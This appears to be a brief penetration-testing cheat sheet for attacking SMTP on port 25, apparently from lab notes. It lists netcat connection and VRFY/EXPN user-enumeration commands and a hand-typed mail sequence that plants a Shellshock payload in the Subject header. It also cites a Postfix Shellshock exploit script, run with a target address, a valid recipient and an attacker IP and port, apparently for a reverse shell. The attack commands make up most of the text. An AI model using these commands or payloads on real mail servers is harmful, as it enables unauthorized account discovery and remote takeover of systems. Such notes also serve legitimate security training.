SMTP 25

Mail

Connection

nc -C {ip} 25

Basic commands

VRFY {user} - Check user existence
EXPN {user} - Check if the user belongs to a mailing list

Mail sending

mail
mail from:<whatever>
rcpt to:<[email protected]>
data
To: <'[email protected]'>
From: <'[email protected]'>
Subject:() { :; };cmd
.
quit

May find a valid email from SMB share /home/ and ls

Postfix Shellshock (need valid rcpt to email address)

pentest_old/postfix-shellshock-nc.py at master · 3mrgnc3/pentest_oldGitHub

python2 ./postfix-shellshock-nc.py 10.11.1.231 [email protected] 192.168.119.179 443